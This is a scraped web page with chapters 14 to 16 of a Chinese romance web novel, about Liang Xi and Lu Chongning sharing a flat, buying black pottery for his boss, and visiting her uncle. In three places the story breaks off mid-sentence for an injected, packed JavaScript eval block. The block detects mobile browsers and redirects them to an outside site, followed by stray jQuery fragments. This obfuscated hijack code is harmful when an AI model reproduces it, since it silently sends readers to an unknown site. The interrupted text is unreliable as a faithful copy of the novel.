路崇宁莫名按了下车铃,声音清脆尖锐,把梁喜吓一跳,特想给他一脚。
“信航去干嘛?”路崇宁终于问到正题。
梁喜一脸愁得慌,“别提了,他给我师父送了两瓶茅台,这么贵重的人情我怎么还。”
路崇宁明白信航是好心,想让师父多照顾梁喜,可送的东西不合适。
锁好自行车,路崇宁把脏抹布扔进垃圾桶,招呼梁喜上楼。
进屋他直奔洗手间,走到门口又转回来,举着满是黑油的手对梁喜说:“帮我把领子掖一下,我洗把脸。”
他低头,脸转过去,梁喜胡乱一弄,指尖不可避免地划过路崇宁的脖颈,可领子又顽强跑出来,她只好正视,认真再弄一遍。
几秒钟,脸颊绯红,度日如年。
......
第一天上班,还站了那么久,梁喜趴在床上一动不想动,头下枕着路崇宁的外套,她不是忘了还,而是假装忘记。
外套薄薄一件,可在梁喜看来它却像一个充盈的记忆海绵,闭上眼,从前事一桩桩涌到脑子里,纷乱的中心只有路崇宁的名字最为清晰。
自从去了游乐场建造地址,梁喜好像对路崇宁的态度温和了许多,说不好,可能觉得他过得不易,既然分开了,何必彼此为难。
躺了一会儿梁喜才注意到家里的安静,路崇宁洗完澡回屋了,门关上毫无声响。
其实梁喜很好奇路崇宁在屋里都干嘛,玩游戏?看电影?左不过这点事打发时间,可想了想,觉得玩游戏不太可能,路崇宁从不玩游戏,上学时候很多男生偷偷去游戏厅,梁喜也跟信航去过,但路崇宁一次不去,他从根上对那东西不感兴趣。
梁喜从床上爬起来到厨房洗水果,蓝莓冲了两遍,端着碗去敲路崇宁的门。
“咚咚!”
“进。”
梁喜开门,看见路崇宁正坐在床边看书。
“吃蓝莓。”
梁喜把碗放到桌上,顺便瞟了一眼书,科目一?
“谢谢,你吃了吗?”
“给你洗的。”
路崇宁转过身,手一撤走书立马合上,“你是不是有事找我?”
“衣服。”
梁喜把路崇宁的外套扔到床上。
“真没事?”他好像不太信。
“没有。”
路崇宁回来后梁喜还是第一次进他房间,事出反常必有妖......
“你继续看吧。”为表示自己坦坦荡荡,梁喜赶紧撤。
回房间,她看到手机有个未接的视频通话,都是信航打的,她刚要回拨,对方又打来。
梁喜点开外放,“干嘛?”
“想你了呗。”
“有事快说。”
信航正在走路,镜头一晃一晃的,“你看,我说的就是正经事,你还不信。”
“不说我挂了啊。”
“诶!等等,我闲聊天,崇宁呢?”
“......不知道。”
“把电话给他,我表达一下思念。”
梁喜白了信航一眼,这回没敲门直接进路崇宁那屋,电话递给他又出去。
“崇宁。”
听到信航说话,路崇宁的视线从梁喜背影转回来,“嗯。”
“干啥呢?”
“没事,待着。”
路崇宁把电话立在墙边,看着屏幕。
“我后天放假,明晚去找你俩。”
“来吧,一起吃饭。”
信航呲牙笑,“让喜喜给我弄点好吃的。”
路崇宁认真脸,“你确定想吃她做的吗?”
“呃......”信航猛摇头,“还是买现成的吧。”
“行,明天来了再说。”
通话挂断,路崇宁看见梁喜给信航的备注是:傻憨憨。
偷听结束,梁喜爬起来去拿手机,刚走到门口路崇宁过来了。
她说:“你别把屋子收拾太干净,显得我很邋遢,信航明天来又得说我。”
“你房间我没敢进,要我帮你收拾吗?”
“......不用。”
路崇宁往梁喜屋里看,她向左迈一步,企图遮挡,只是这一闪身,两人距离拉近,有一下,梁喜的鼻尖蹭到了路崇宁的衣襟。
“你觉得你能挡住我吗?”
声音从上面降落,梁喜仰头,“就你高,行了吧。”
说完刚要关门,路崇宁大手撑住,问:“你给我的备注是什么?”
应该比傻憨憨信航强不到哪。
“负心汉。”
梁喜把他手打掉,门“嘭!”地关上。
光线变暗,路崇宁站在原地,嘴角竟漫起一阵莫名的笑意。
......
隔天晚上,信航抱着一箱草莓还有几个纸袋登门,进屋放到鞋柜上,越过路崇宁朝屋里喊:“喜喜!看我给你买啥了!”
梁喜从卧室趿拉拖鞋出来,见信航拿了不少东西,调侃他,“让您破费了。”
“哪的话,你想吃啥我上九天揽月都给你买。”
这话听得耳熟,梁喜轻哼一声,“你上九天挺随意啊,想去就去。”
信航又对路崇宁说:“给你带了条烟,还有几件新衣服。”
“你留着抽吧,我抽不惯这个。”
准确说他抽的烟都比较便宜。
“别人送的,你唐姨非让我给你拿来。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207503|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前两天梁喜和路崇宁一起去看过唐姨和民叔,路崇宁买了几百块的水果,单价都比较贵,主要不知道买什么能让他们喜欢,买水果的话不会出错。
信航打开鞋柜,看见路崇宁和梁喜的鞋整齐摆放一起,有两只还互换了位置,透着一种说不清道不明的亲密。
“拖鞋在下面,蓝色那双。”
听到路崇宁说,信航移开目光,转手去拿拖鞋。
换好进屋,他巡逻一样挨个屋转了一圈,最后在路崇宁房间停住,把那几个纸袋递给他,说:“你比我高,我买的比我大一码,试试能不能穿。”
几件短袖,还有两条裤子和一双鞋,甚至内裤都买了,那叫一个全乎。
房门半掩,两人在试衣服,梁喜不知道,拿着矿泉水直接往里闯,看见路崇宁光着上半身,宽肩窄腰,全都落进她眼里。
六目对视,信航大鹏展翅一样挡在路崇宁面前,大喊:“付费啊!”
梁喜已经被路崇宁干净的身子晃迷糊了,像根木头一样呆呆地转回去,把门带上。
换完衣服出来,信航说:“小宁那屋干净得有点过分,喜喜,平时你收拾啊?”
梁喜躺到摇椅上,“我才懒得管他。”
“我猜也不是。”
路崇宁爱干净是从小养成的习惯,即便后来到梁喜家也一样,比如他每次洗手,都会把洗手台擦干再走,现在比之前随意了些,但跟信航和梁喜这俩人比还是干净。
客厅一共两把躺椅,路崇宁让信航坐,他站着,梁喜指自己那屋,“你去把我椅子拿来。”
“没事。”
信航刚要起身,被路崇宁拦住,他去取。
椅子和书桌是一套,桌面上东西乱七八糟,打开的乳液瓶子,瓶盖倒放,小镜子,黑皮筋,这样的场景路崇宁并不陌生,从前他见过多次。
“对了,喜喜。”信航伸手,“家里钥匙给我留一把,别放邻居那了,不安全。”
“行。”正好玄关柜子上有一把,梁喜拿给信航,“别弄丢了。”
他把钥匙揣兜里,“我丢它都不能丢,放心。”
椅子搬到客厅,三人围在一起吃草莓,信航递给梁喜一个大的,“晚上整点啥?”
梁喜接过草莓一口咬掉一半,“在家吃火锅。”
“行,我最喜欢吃火锅,菜和肉买了吗?”
“还没,来得及。”
“正好我开车了,去超市买吧。”
路崇宁站起来,“我自己去,你俩在家待着。”
信航抹抹嘴,“别啊,你自己拿不了。”
三人围在一圈刚坐了不到五分钟又换鞋出门。
......
超市离家三公里,开车很快就到了,信航和路崇宁紧跟在梁喜身后,她说买什么就买什么。
“差不多了,够吃。”信航扒拉几下,跟梁喜说。
今天梁喜特意多买了一些,因为信航一到她家吃饭就像蝗虫过境一样,每次梁辰义做好吃的,梁喜都下意识往楼下看一眼,确认信航没来才让梁辰义把菜端上桌。
“还差一样。”
“什么?”
“牛肉丸,要贵的,便宜的不好吃。”
五年过去,梁喜不知道路崇宁的口味有没有变化,反正橙子他还喜欢,牛肉丸应该也没变吧。
“我去拿。”路崇宁把手推车给信航,他去冷冻冰柜那边。
等路崇宁走远,信航问梁喜:“小宁最近状态咋样?”
梁喜注意力集中在牛奶上,“表面还行,实际不知道。”
“你俩住一起方便吗?”
“有什么不方便?又不是没一起住过。”
信航挠挠头,“你知道我担心啥。”
“有便宜也是我占他。”
梁喜本意是想让信航放心,别总问东问西,可她说完信航的脸色明显比刚才还难看。
“干嘛?又整那死出。”
“日常关心嘛,咱仨过命的交情,我多问问怎么了。”
过命?梁喜被信航逗笑。
路崇宁拿了牛肉丸回来,推车在前面走,换梁喜和信航在后面说说闹闹。
......
回到家,信航和路崇宁一起把菜洗涮好,又把肉和其他配菜放进盘子,桌子支起来开吃,梁喜只负责调蘸料,她跟梁辰义学的,独家配方,味道相当不错。
没一会儿便吃得热火朝天,信航喝了一口冰可乐,放下筷子直接把短袖脱了,露出黝黑又结实的上半身。
梁喜瞥了一眼,继续吃。
化城很多人家都不装空调,每年热那么两个月,气温也不会高得离谱,开不了几回,梁辰义之前吵吵几次要装,后来不知道因为什么不了了之,风扇倒是有,虽然旧,但风力好几档。
信航看向路崇宁,“你不热啊?”
“风扇吹着呢,不热。”
“穿那么多,也脱了呗。”
信航的目光跟着路崇宁到梁喜身上,面带疑惑,“怎么了?”
“我哪知道。”梁喜躲避一样起身去厕所。
看来不平等条约适时该修订了。
15. 第十五章
一早,林屿集团旗下的光华建筑有限公司内一片忙碌,大厦是之前某个事业单位的旧址,迁址后被老板买来整修了一下,随着游乐场和公寓楼等项目开工,最近入驻很多部门。
路崇宁刚到公司,还没等坐下就被老板助理阿布叫去。
阿布是刚毕业的大学生,哪哪都新,经验也如此,据说她是老板家亲戚,不过只是听公司有人这么传,具体没得到过证实。
“小宁哥,刘总找你。”
阿布站在办公室门口,小虎牙露出来,冲路崇宁笑得灿烂。
“马上去。”
路崇宁关上衣柜,跟在阿布身后往老板办公室走。
“吃早饭了吗?”
虽然刚认识三天,但这已经是阿布第三次用同样的话和路崇宁开场。
“吃了。”
阿布小心看向路崇宁,“你怎么戴绿帽子啊?”
“太阳晒。”
阿布问的颜色,路崇宁答的是用途。
到刘总办公室门口,路崇宁敲门进去,阿布有些失落地看着沉闷的木门,转身回自己工位。
“小宁,来。”
刘总从办公桌起身,坐到一旁沙发上,让路崇宁也坐。
刘总大名叫“刘俊华”,他一手创立了林屿集团,据说年轻时在珠三角一带打拼,后来弄了个草台班施工队,慢慢扩大成建筑公司,拼搏了三十年,运气加上努力,才有现在的产业,只是他和不少有钱人一样都很迷信,经常去庙里拜佛,佛珠不离手,虔诚得很。
据说刘俊华刚回化城第二天就大张旗鼓去了一趟位于化城城郊的青云寺,把各殿神仙拜了一遍,还捐了不少香火钱。
“有件事你去帮我办一下。”
“刘总您说。”
“前段时间给咱们项目看风水的大师跟我说,黑属水,水主财,陶属土,土生金,黑陶可以招财纳福,还能吸收一些污浊之气,正好化城黑陶很有名,你去给我弄几件小的过来我看看,好的话我多订一些。”
听到老板要买黑陶,路崇宁第一时间想到梁喜,问:“有具体想要的样式吗?”
“没有,你看着挑吧,我相信你的眼光,对了,你驾照转回国内了吗?”
“在审批,应该快了。”
“我给你张名片,化城最厉害的黑陶师傅,你去他工作室看看。”
刘俊华说话起身,从手包里掏出一张名片递给路崇宁,他低头一看,果然是梁喜师父的工作室。
“一会儿让阿布开公司车带你去吧。”
路崇宁本想拒绝,他自己可以打车或者坐公交,可刘总向来专权,喜欢听话照做的员工,想想还是算了。
“好,我准备一下这就过去。”
关上门,路崇宁看着对面的助理办公室,没去找阿布当面说,而是发信息。
谁知信息刚发了不到两分钟阿布就找过来,一手拎包,一手拿着车钥匙,冲路崇宁晃晃,钥匙链上挂了好几种挂件,声音清脆。
“小宁哥,走吧。”
路崇宁看眼电脑,本来他想先去项目转一圈,看阿布都准备好了,只能等回来再去。
大厦外面的停车场很大,但停的车不多,除了刘总的黑色奔驰和几位高管的车,剩下那辆黑色suv是公司留着备用的。
阿布先上车,副驾驶车门被她从里面推开,可路崇宁却悄悄关上,转身坐到后面,他知道阿布什么心思,所以总是保持距离和客气。
“小宁哥,位置发我一下。”
“稍等。”
公司里的人只有阿布这么称呼路崇宁,他不习惯,纠正过一次,但阿布依然如此,他不好再说什么。
“听刘总说你在国外待了好几年。”
“嗯。”
“那你英语很好咯?”
“日语还行。”
“不好意思,我忘了你去的是日本。”
阿布光顾说话,手搭方向盘,并没有启动车子的意思,路崇宁提醒她,“可以走了。”
“噢,好。”
不知阿布是不是出于安全考虑,车开得很慢,可是......有点过于慢了。
“刘总怎么想买黑陶呢?那东西黑黢黢的,好丑。”
路崇宁摘下帽子,低头看手机处理工作,随便回了句,“艺术品,寓意好,丑不丑要看谁做。”
“那倒是,咱们老板就好这口。”
路上阿布一直找话题跟路崇宁聊天,可他没什么心思,索性闭眼休息。
等再睁眼车已经停下,阿布解安全带,说:“小宁哥,我们到了。”
“嗯。”
路崇宁晃晃脖颈,戴上帽子下车。
......
从早上来梁喜一直在弄土,她蹲在后院把红黏土和白黏土按照比例混合晾晒,等晒干还要再筛一遍,去除杂质。
今天天气热,衬衫被她脱掉,吊带外直接系围裙,下身是将近膝盖的卡其色短裤,脚上踩着嫩黄色雨靴,长发缕到一侧辫成一个长辫,不知道还以为谁家小孩下楼踩水玩呢。
周靖哲推门便看见梁喜,露出的手臂虽纤细但有力量,像要和黏土大战一场的既视感,他走下台阶,说:“喜喜,你哥来了。”
梁喜闻声抬头,“我哥?路崇宁吗?”
“对啊。”
“噢。”
他怎么来了?
梁喜摘掉手套,到洗手池旁冲了下手才进屋。
走到前厅,她一眼看见路崇宁,帽子颜色太显眼,他身旁跟着一个穿西服裙装的女生,挨那么近,肯定一起来的。
早上刚从家里分开,这会儿路崇宁不会无缘无故过来闲逛,梁喜猜他有公事。
“找我?”
路崇宁的视线从架子最高一层落下来。
没等他说话,阿布先打招呼,“你好,我是小宁哥同事,你是他妹妹吧?你俩长得一点都不像诶。”
小宁哥?甜出四个加号了.....
梁喜冲阿布笑笑,信口胡诌,“我像爸,他像妈。”
路崇宁从旁吭了声,“我老板想买几件黑陶,我不懂,你推荐一下。”
阿布先发表意见,“小宁哥,我看这个葫芦不错,镂空雕得真精致。”
“姑娘好眼光。”
一语双关的话只有梁喜自己明白,她往前一步,仔细打量路崇宁的同事,长得还行,蛮可爱的。
路崇宁的注意力都在梁喜身上,“穿靴子不热吗?”
梁喜白他一眼,“不要你管。”
阿布以为兄妹俩拌嘴,笑着看热闹。
梁喜双手插着围裙兜,说:“我没什么推荐的,每件都不错,你自己看吧,上面都有明码标价,选好了给你打折。”
路崇宁回身往茶台方向望,“你师父呢?”
“等会儿来。”
梁喜俯身从展柜下面拿出矿泉水递给阿布,“喝水。”
“谢谢。”
阿布转手给路崇宁,梁喜和他相视一眼,又把第二瓶水递给阿布,“你俩慢慢挑,我有点活着急干。”
路崇宁还想说什么被打断,梁喜冲收银台喊了句:“佩姐,麻烦招呼一下。”
“好嘞!喜喜你去忙吧。”
没等梁喜走远,阿布把水瓶塞给路崇宁,“小宁哥,你帮我拧下呗,太紧了。”
路崇宁把手里刚拧开的给她。
“你妹妹好漂亮。”
路崇宁毫不客气地“嗯”了声。
“虽然和你长得不像,但真的漂亮,尤其是鼻子。”
路崇宁不确定梁喜有没有不高兴,如果是,他反倒有点开心。
......
后院,几只小飞虫从二中操场飞过来,盘旋着寻找落脚点。
梁喜一肚子气全撒在黏土上,用力扒拉,有的直接飞出去,溅得到处都是,把刚落脚的飞虫吓得乱窜。
周靖哲又推门出来,“你哥还没走,怎么又干起活了?”
气撒到一半,梁喜费力往回收,“他和同事来买黑陶,我让佩姐帮着挑呢。”
“佩姐哪有你专业,我来弄,你去吧。”
“没事。”
路崇宁最后结账买了三件黑陶,葫芦是阿布选的,另外两件由佩姐推荐,结账前佩姐又去询问梁喜怎么结,梁喜跟她说走自己的员工折扣,但没去前面打招呼。
三件工艺品被包裹严实放进后备箱,阿布上车,可路崇宁还站在后备箱那不动。
“小宁哥,走啦!”
路崇宁看着工作室大门,从他来梁喜就露了一面。
“等我一下。”
路崇宁说话跑去旁边小卖部。
......
“喜喜。”
梁喜听到开门声抬头,看见佩姐拎着塑料袋站在身后,“怎么了?”
佩姐把袋子放到木板上,哗啦一声,“你哥给咱们买的。”
梁喜瞥了一眼,是冰淇淋。
“你拿去给大家分了吧,外面热,别弄化了。”
“你哥对你可真好,全是贵的,五块钱一根呢。”
梁喜扯扯嘴角,没笑出来,贵又怎么样?即便一百块一根也抵不过那年雪夜里弄脏的冰淇淋......
“对了,我给他走你的员工折扣他没要,原价开的发票。”
“没要?”
“对,他把那小姑娘支开,才跟我说不用打折。”
梁喜大概明白什么意思,没跟佩姐多解释。
......
车开回公司,路崇宁小心抱着黑陶走进老板办公室,拆开拿出来放到茶几上,刘俊华挨个仔细端详,越看越喜欢,还忍不住“啧啧”两声,说:“不愧是最厉害的师傅,你看这貔貅雕的,跟活了一样,正好摆我茶桌上。”
“刘总,这是发票。”
刘俊华看都没看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207504|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,大手一扬,“你拿去财务报了吧。”
“好。”
刘俊华端着葫芦问路崇宁,“看见那位师傅了吗?”
“今天没在工作室。”
“行,你忙去吧,下午咱俩去游乐场那边看看拆除进度。”
“好。”
刘俊华一旦安排行程,很少有爽约的时候,他那个脑子好像一天二十四小时不用休息,跟计算机一样,路崇宁赶紧撤。
在食堂吃过午饭,路崇宁跟同事去篮球场打球,半场还没结束就被刘俊华找走。
司机把车开过来,放下车窗冲球场喊:“小宁,过来!”
在场外看热闹的同事听到后把路崇宁替下,他匆匆换下球衣,来不及洗脸赶忙上车。
刘俊华看他满头是汗,把纸巾递过去,“你们天天打吗?”
路崇宁接过,“谢谢刘总,这几天中午玩一会儿。”
前面司机看见老板给路崇宁递纸巾,隐约想到一些公司的传言,插话过去,“小宁个子高,打球有优势。”
纸巾湿软,攥进手心,路崇宁笑笑,没说什么。
他知道自从来公司后很多人对他带有奉承之意,起因是不知谁说他是老板亲信,八卦很快传开,也传到路崇宁耳朵里,他不禁想起给肖国强送骨灰时肖国强儿子说的话:“其实我爸出国是为了帮刘总照顾他一个朋友的儿子,除了打工赚的钱,额外还给他一笔,要不然他一把年纪出去拼命干嘛,谁承想能死外边,唉,都是命。”
路崇宁不确定那个朋友的儿子是不是自己,没人跟他说过,所以他才意外又疑惑,不过刘俊华确实对他不错,还去日本看过他几回。
“崇宁,听说你谈对象啦?”
“嗯?”
公司的司机团体常年处在八卦中心,就没有他们打听不来的消息,这次的消息源应该是游乐场那边的项目保安。
刘俊华看看路崇宁,“在日本单了五年,还是咱们祖国的小姑娘好,是吧?”
路崇宁笑笑,眼前浮现扎着辫子的梁喜。
“你一谈对象,这下公司得有不少小姑娘伤心了。”
路崇宁一脸懵。
司机刚要张嘴,听到刘俊华笑了声,说:“阿布是头一个。”
......
项目基地的拆除工作进展顺利,现下只剩一些还没运完的建筑废石,几台翻斗车正在劳碌运作,预计这两天能全部清完。
路崇宁下车后扫了一圈,原来的酒厂和家都已不复存在,虽然早做了心理准备,但切实地看到还是有些不好受,可他不能表现出来,哪怕一点。
“刘总,小宁。”
工程监理接到路崇宁通知后早早在门口迎着,他把手里两个安全帽递出去,“安全起见,麻烦刘总戴一下。”
监理说完亲自给刘总戴上,路崇宁管好他自己就行了。
“我和小宁溜达一圈,你忙去吧。”
“行,那你们小心点,别磕着碰着。”
监理转身离开,路崇宁跟老板往前走,刘俊华步伐缓慢,没走几步就停下来东瞅瞅西望望,一看就是领导来视察工作的。
走到一处平坦空地,相对没那么嘈杂,刘俊华忽然叹口气,说:“小宁,别怨我啊。”
“刘总,怎么了?”
“这里原来是你家,现在却被我买来,不得不夷为平地。”
“......那事跟您没关系。”
“怕你不好受,之前没和你细聊过这些,其实我和你爸认识,有过几面之缘,林业新区现在大力发展,你家这块地又是好位置,我不拿也有别人拿,正好有熟人介绍,我就拍了。”
路崇宁没见过刘俊华口中的“熟人”,只知道当年他在路召庆最难的时候投了一笔钱给酒厂,摇身一变成为合伙人。
合同规定,如酒厂三年内不能扭亏为盈,达到一定营业额,投资人可收回投资的百分之六十,或酒厂归其所有,路召庆急着资金周转,即便合同不那么公平,他也签了,谁知此后便是噩梦的开始,酒厂每一个看似正确且积极的举措都以失败告终......
“需要用钱的话跟我说,别不好意思。”
“谢谢刘总,我平时没什么花销。”
“你这孩子。”刘俊华抬手拍拍他肩膀,“一看就不会谈恋爱,你得肯为姑娘花钱,人家才能死心塌地跟你,现在这社会光谈感情可不行,连我们那会儿都看家庭条件。”
路崇宁笑笑,没说什么。
走到一堆废石上,路崇宁没站稳,身子晃了两下,他低头,看见刻着自己身高的陈年痕迹,只剩下一小部分,破碎不堪。
他抬头望向远处,曾经记忆里目之所及的一切全都不见了。
在带梁喜来过之后第二天,他从工人那借了把铁锹,亲自将那些干枯的向日葵枝茎一一砍掉,埋进后面树林。
这是属于他自己的告别仪式,从此春天再无惦念了。
16. 第十六章
在工作室待了两周,渐渐适应的梁喜一天比一天下班晚,等同事都走了她还要继续练,累得直不起腰仍不肯休息,每晚负责关门收尾的活自然也落在她身上。
同样晚回家的还有路崇宁,他最近几晚都在楼下面馆吃宵夜,而且坐在外头最靠边的桌子,梁喜下车一眼就能看见他,有时候面馆打烊了,他就端着外卖盒坐在人家店门口的台阶上吃,要不是他模样显眼,远远看着跟个要饭的差不多。
“单位食堂不好吃吗?”梁喜走过去一屁股坐下,膝盖顶到对面人,她赶忙后撤。
路崇宁抬眼,却没正经看梁喜,“饿了。”
从昨天路崇宁带阿布去买黑陶,再到今晚此时此刻,是梁喜跟他的第一句对话。
“吃吗?”路崇宁用筷子敲敲碗边。
梁喜摇头,盯着面汤上漂浮的绿叶,“我记得你以前不吃香菜。”
“能吃饱就行,不挑。”
境遇将一个人驯化的痕迹在路崇宁身上体现得淋漓尽致,梁喜不知道这对他来说是好是坏。
想起下班前三叔打来的电话,梁喜问:“明天晚上有事吗?”
“没事。”
“跟我去三叔家吃饭吧,我推了两次,再不去不好,他不知道从哪听说你回来,定了海鲜。”
梁辰景虽然已是副局长职位,工作很忙,但却烧得一手好菜,工作生活两不误,尤其是海鲜做得最好。
“行。”路崇宁点头答应。
梁喜端过面碗喝了口汤,味道还成,要是加点醋就更好了,她舔舔嘴角,说:“你接着吃吧,我怕胖。”
“胖点好。”
“好什么?跟你打架能赢啊?”
“你输过吗?”
梁喜一愣,看着路崇宁英俊的眉眼,随着夜风吹拂,好似褪去锋芒一般,像只温顺的大狗狗。
“当然有。”梁喜眼前飞速一样闪过一些画面,五年前,她被丢下了......
“在我看来你没输过。”
路崇宁一脸笃定,搅起面条吃了一口,香气勾得梁喜真有点饿,她转头,说了句扫兴,更影响食欲的话,“你那个小同事,叫阿......什么。”
“阿布,怎么了?”
梁喜故意过一天才问,好看起来没那么心急和在意,她撸下皮筋,一段一段解开辫子,缓缓说:“你别招她。”
“什么意思?”
“她喜欢你。”
连刘总都看得出来,何况梁喜,可路崇宁昨天不确定的事现在依然不确定,“跟你不理我有关系吗?”
“......谁不理你?”梁喜吱唔着,“我不在和你说话吗?”
“昨晚没说。”
“昨晚累了。”
路崇宁这才回答:“我没招她。”
“我只是见不得女孩儿伤心,劝告一下。”
过来人总有发言权。
辫子全部解开,梁喜划拉几下头发,绑了一天,自然形成几道弯,像烫了大卷,这个发型让她显得成熟了些,路崇宁盯着她肩上的波浪,完全忘记刚才聊什么阿布,什么招不招惹。
“那几件黑陶你们老板喜欢吗?”梁喜抬头,撞上路崇宁笔直的目光。
他匆忙躲闪,“喜欢,回头可能还要定几个大的。”
听见“大的”,梁喜顾不上刚才的试探了,她撑着下巴,语气平和,“你特意不让佩姐打折,老板会不会说你?”
“他不在乎这点钱。”
“那我要感谢你老板,让我有钱赚。”
吃完放下筷子,路崇宁点了根烟,从打开烟盒,拿打火机,火苗窜出来,烟丝燃烧......这些梁喜都看在眼里。
“路崇宁。”
烟灰燃了一截,突然断掉,“嗯?”
“别学信航,他办案子烦,抽烟才多。”
梁喜语气有点严肃,像老师说教一般。
路崇宁咬着烟,含糊回她,“习惯了。”
梁喜蹭蹭鼻子,“给我来根尝尝。”
“不行。”
语气一如那年她想去ktv打工,路崇宁也这样回绝。
“别搞偏见。”
路崇宁手指在烟盒上轻点,梁喜低头看见一行字:“吸烟有害健康。”
即便外面灯光昏暗,这行字依然醒目。
“那你还抽?”
“戒不掉,不难为自己。”
路崇宁说完去给面馆老板结账,一步三个台阶钻进店里,留梁喜看着烟盒愣神。
......
梁辰景家在化城主城区很中心的位置,单位分的房,生活便利,就是周围人多,一早一晚比较吵。
梁喜今天没骑车,跟路崇宁约好在三叔家小区门口碰面。
她先到的,拍了一张旁边店铺的照片给“负心汉”发去,过了五分钟路崇宁突然出现在身后,把梁喜吓一跳。
她平平气,问:“怎么没打车?”
“通勤车附近有站,我下车走过来的。”
一身运动装的路崇宁看起来清清爽爽,比刚回来那几天气色好很多,他手里拎着给三叔带的酒,梁喜则买的水果。
“走吧,三叔刚才打电话催了。”
梁喜拽他袖子。
“水果给我。”
“不要。”
“给我,沉。”
梁喜拗不过,水果被他拿了去。
小区内一处车库前,梁辰景边抽烟边来回踱步,如果这支烟抽完还没等到人,他打算去小区大门接。
“三叔。”
走近,梁喜和路崇宁一起叫了声。
三叔个子不高,梁辰义常说他被心眼儿坠住了,所以长不高,梁喜深觉有理,每次和三叔对视,都觉得他那双眼睛透着精明和算计,加上在官场混了这么多年,人精一个,但梁喜平时和他说话只不过是亲戚之间的闲聊,算计用不到她这个小辈身上。
“来啦!小宁还这么帅哈!”
路崇宁笑笑,“三叔,我和喜喜给你买了酒,还有水果。”
“知道你俩懂事,下次不许买了啊,三叔家里什么都不缺,走,上楼吧,菜都做好了。”
一进屋梁喜就闻到喷香的饭菜味道,原本不怎么饿,现在被勾得感觉能吃两碗饭。
换鞋进屋,洗完手几人坐下来边聊边吃。
梁辰景把盘子往路崇宁面前推了推,“小宁,上班了吧?”
“嗯。”
“你公司叫什么?”
“光华建筑。”
“光华?”
路崇宁放下筷子,“您听过?”
“噢。”梁辰景夹了口菜,说:“听过,你们老板刘俊华在化城算挺有名的投资商了,虽然是外地人,但对外声称自己是本地的,在外面赚了钱回来建设家乡,其实谁都明白,化城现在发展好,道路、住宅、便民设施、公园,到处都在建,狼多肉少,你们老板运气不错,早早拿到项目,跟他好好干吧,肯定有一番作为。”
路崇宁点头,“是,项目开工了,这几年他大部分时间都会在化城。”
“咱们化城还有几个企业比较出名,正洋调味、大发塑业、象印生化,现在又来一个,林屿集团。”
别人都直接说光华建筑,往深一层才会知道林屿集团,路崇宁听完三叔的话,断定他对刘俊华比表面说得要更了解,毕竟在经济局上班。
听到熟悉的名字,梁喜说:“象印生化我知道,每次坐火车都从那路过,厂区特别大。”
三叔看向梁喜,“对,我刚才说那两家都是本地企业,象印生化是一个四川的老板过来投资建的,主做粮食加工,东北别的不多,粮食管够。”
趁梁喜上厕所,三叔又跟路崇宁说回他公司,“刘俊华是个非常成功的商人,起码截止目前是,别人说他行事利落,甚至有些不择手段,认准的利益绝不撒手,你正常打工,别和他走太近。”
“我明白,三叔。”
吃完饭,梁喜和路崇宁帮着收拾完便要回去,三叔说送他俩到楼下,梁喜不让,他非跟下来。
路崇宁小声跟梁喜说:“三叔可能有事。”
果然到楼下后三叔让他俩跟他去车库那边。
这个车库比较小,没停车,平时用来堆放杂物,梁辰景打开车库门,梁喜和路崇宁随后进去,里面一股子陈旧的霉味,可能最近没什么人来。
借着昏暗的灯光梁辰景在里头翻找,梁喜看着他背影,跟路
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210274|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
崇宁说:“我爸不会给我留了什么巨额遗产吧。”
路崇宁叫醒她,“别做梦。”
“......”
“喜喜过来。”
梁辰景抱着一个小纸箱递给梁喜,说:“这是你爸的遗物,放我这好久了,我前段时间收拾车库才想起来,还是应该交给你。”
纸箱被路崇宁接过去,梁喜打开看见相框、笔记本,甚至还有玩具。
“你爸这个人,虽然当过警察,但他们那个年代办案都是土办法,大老粗,没几年又进去了,你看,记点什么事还用本子呢,连电脑都没碰过。”
梁喜抚摸着玩具,往事浮现眼前,“是,我还让我爸跟我学电脑来着,他说他不学,嫌麻烦,整天捡我用剩的本子瞎划拉。”
“我没看里面写什么,你拿回去自己看吧。”
梁辰景没说实话,事实上他不但看了,而且逐字逐句,都是一些唠唠叨叨的旧事,有些地方甚至前言不搭后语,偶尔有两处没听过的,也引不起他任何兴趣。
“三叔,那我俩回去了。”
“好,过段时间再来,等梁墨放暑假,估计得天天往你家跑。”
梁喜跟梁墨关系很好,那些不能和父母共享的事,他统统讲给梁喜听。
只是相比三叔,梁墨他妈对他的教育影响比较大,从小就给孩子灌输不必好好学习,家里条件好,还说别学他爸,考个小城公务员,没什么出息,梁墨舅舅没孩子,家产都要给梁墨。
